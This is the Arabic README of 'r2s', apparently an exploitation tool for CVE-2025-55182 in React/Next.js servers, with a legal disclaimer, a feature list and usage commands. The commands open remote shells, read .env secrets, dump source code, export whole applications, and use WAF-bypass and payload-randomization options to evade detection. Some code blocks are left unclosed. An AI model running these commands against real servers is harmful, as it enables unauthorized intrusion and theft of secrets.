---

## ⚠️ إخلاء مسؤولية قانوني

**هام: اقرأ هذا قبل استخدام هذه الأداة**

1. **هذه الأداة مخصصة لاختبارات الأمان المشروعة فقط**
   - ✅ اختبر تطبيقاتك الخاصة
   - ✅ اختبر التطبيقات التي لديك إذن كتابي لاختبارها
   - ✅ للأغراض التعليمية والبحث الأمني
   - ❌ **لا تستخدمها أبدًا على أنظمة لا تملكها أو ليس لديك إذن لاختبارها**
   - ❌ **لا تستخدمها أبدًا لأغراض ضارة**

2. **باستخدامك لهذه الأداة، فإنك توافق على ما يلي:**
   - لن تستخدمها إلا على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها
   - أنك تدرك أن الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني
   - أنك تتحمل المسؤولية الكاملة عن أفعالك
   - المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه الأداة

3. **العواقب القانونية:**
   - الوصول غير المصرح به إلى أنظمة الحاسوب جريمة في معظم البلدان
   - قد تتعرض لتهم جنائية وغرامات والسجن
   - احصل دائمًا على إذن كتابي قبل الاختبار

4. **هذه الأداة مقدمة "كما هي" دون أي ضمان من أي نوع**

**إذا كنت دون سن 18، فتأكد من وجود إشراف وإذن من شخص بالغ قبل استخدام هذه الأداة.**

---

## ✨ الميزات

### القدرات الأساسية
- 🔍 **اكتشاف الثغرات الأمنية** - اختبر بسرعة ما إذا كان الخادم عرضة للثغرة CVE-2025-55182
- 💻 **واجهة أوامر تفاعلية** - جلسة واجهة أوامر تفاعلية كاملة عبر HTTPS مع سجل الأوامر
- 📁 **عمليات الملفات** - سرد الدلائل، وقراءة الملفات، وتصدير الملفات/الأرشيفات
- 🔐 **استخراج الأسرار** - محاولة قراءة أسرار التطبيق (ملفات .env، ملفات الإعدادات)
- 📄 **استخراج الكود المصدري** - محاولة قراءة الكود المصدري للتطبيق
- 🖥️ **معلومات النظام** - جمع معلومات نظام التشغيل، اسم المضيف، المستخدم، ومتغيرات البيئة

### الميزات المتقدمة
- 🚀 **الحمولات المُسخَّنة تلقائيًا** - تحسين الحمولات تلقائيًا للحصول على أفضل النتائج
- ⚡ **تنفيذ متوازٍ** - تشغيل أوامر متعددة في وقت واحد
- 🎲 **عشوائية الحمولات** - تفادي الاكتشاف باستخدام حمولات ديناميكية
- 🛠️ **وحدات الاستغلال** - نظام وحدات بأسلوب Metasploit (env_dump، file_search، network_scan، process_list)
- 🔄 **معالجة إعادة التوجيه** - تتبع إعادة توجيه HTTP تلقائيًا (301، 302، 303، 307، 308)
- 🎨 **واجهة مستخدم جميلة** - إخراج ملوّن حسب الرموز لسهولة القراءة
- 📊 **تقارير شاملة** - حفظ التقارير تلقائيًا بصيغ JSON وHTML وTXT مع منسّقات خاصة بكل عملية
- ⚙️ **نظام الإعدادات** - إعدادات مبنية على JSON مع لوحة إعدادات تفاعلية
- 📦 **وظيفة التصدير** - تصدير ملفات فردية أو أدلة التطبيق بالكامل كأرشيفات zip
- 🔒 **تجاوز WAF** - تقنيات تجاوز متعددة (⚠️ غير مضمونة - راجع القيود أدناه)

### التقارير والسجلات
- 📝 **حفظ التقارير تلقائيًا** - حفظ التقارير تلقائيًا في `~/.r2s/reports/` مع طوابع زمنية سهلة القراءة
- 📋 **صيغ خاصة بالعمليات** - صيغ تقارير مختلفة لكل عملية (shell، test، secrets، إلخ)
- 📜 **سجل الأوامر** - سجل أوامر دائم محفوظ في `~/.r2s/history`
- 🔍 **مسارات التدقيق** - تسجيل مفصّل لجميع العمليات في `~/.r2s/logs/audit.log`
- 🎨 **تقارير HTML** - تقارير HTML جميلة مع وضع داكن/فاتح، وأزرار نسخ، وكتل أكواد

---

## 📦 التثبيت

### الخيار 1: البناء من المصدر (موصى به)

1. **استنساخ المستودع:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 البدء السريع

### اختبار الثغرات الأساسي```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### الاختبار محليًا

انظر [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) للحصول على تعليمات تشغيل التطبيق القابل للاستغلال محليًا.

---

## 📚 أمثلة الاستخدام

### مرجع سريع للأوامر

**الأوامر الأكثر شيوعًا:**
- `r2s -u URL -t` - اختبار الثغرة (الأكثر شيوعًا)
- `r2s -u URL --shell` - بدء قشرة تفاعلية
- `r2s --targets FILE -t` - فحص مجمّع لعدة أهداف
- `r2s -u URL --system-info` - الحصول على معلومات النظام
- `r2s -u URL --secrets` - محاولة قراءة الأسرار
- `r2s -u URL --export-archive` - تصدير التطبيق بالكامل كملف zip

**⚠️ تذكّر**: لا تستخدم `--windows` إلا إذا كان الهدف يعمل بنظام ويندوز!

---

### العمليات الأساسية```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### وحدات الاستغلال```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### الأسرار واستخراج الأكواد```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### الخيارات المتقدمة```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### التسجيل والتدقيق```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### الإبلاغ```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. تدقيق الأمان```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

انظر [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) للحصول على تعليمات مفصّلة.

---

## 🏗️ البنية المعمارية

تستخدم R2S بنية معيارية لسهولة الصيانة وقابلية التوسّع:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "خطأ في الاتصال"
- تحقق من أن الخادم يعمل
- تحقق من صحة عنوان URL
- تحقق من إعدادات جدار الحماية
- جرّب زيادة المهلة: `--timeout 30`

### "تم حظر الطلب"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### قيود تجاوز WAF

**⚠️ مهم:** تقنيات تجاوز WAF في هذه الأداة **غير مضمونة** للعمل ولها عدة قيود:

- **ليست عالمية**: تستخدم أنظمة WAF المختلفة طرق كشف مختلفة. ما ينجح مع أحدها قد لا ينجح مع آخر.
- **الكشف الثابت**: تستخدم بعض أنظمة WAF مطابقة الأنماط الثابتة التي يمكن تجاوزها، لكن أنظمة WAF الحديثة تستخدم التحليل السلوكي.
- **تحديد المعدل**: تطبق العديد من أنظمة WAF تحديد المعدل الذي يمكن أن يحظر المحاولات المتكررة.
- **التعلم الآلي**: تستخدم أنظمة WAF المتقدمة نماذج التعلم الآلي التي تتكيف وتتعلم من أنماط الهجمات.
- **Cloudflare/AWS WAF**: أنظمة WAF على مستوى المؤسسات (Cloudflare وAWS WAF وغيرها) صعبة التجاوز للغاية.
- **لا توجد ضمانات**: تقنيات التجاوز تجريبية وقد تفشل ضد أنظمة WAF جيدة التكوين.

**أفضل الممارسات:**
- استخدم تجاوز WAF كخيار أخير
- جرّب استراتيجيات ترويسات مختلفة (`--header-strategy`)
- ادمجها مع `--randomize` للحصول على نتائج أفضل
- افهم أن بعض الأهداف قد يكون من المستحيل تجاوزها
- اختبر دائمًا على الأنظمة التي تملكها أو لديك إذن باختبارها

### مشكلات البناء```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

سيؤدي هذا إلى إزالة ما يلي:
- دليل `build/` (ملفات بناء PyInstaller)
- دليل `dist/` (ملفات ثنائية مترجمة)
- أدلة `__pycache__/` (ذاكرة التخزين المؤقت لبايثون، بشكل متكرر)
- ملفات `*.pyc` (الكود البايتي المترجم لبايثون)
- ملفات `*.pyo` (الكود البايتي المحسّن لبايثون)
- ملفات `*.spec` (ملفات مواصفات PyInstaller)

**ملاحظة:** هذا يزيل نواتج البناء فقط، وليس الكود المصدري الخاص بك. عملية التنظيف آمنة وستطلب التأكيد قبل المتابعة.

---

## 📁 هيكل الملفات```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation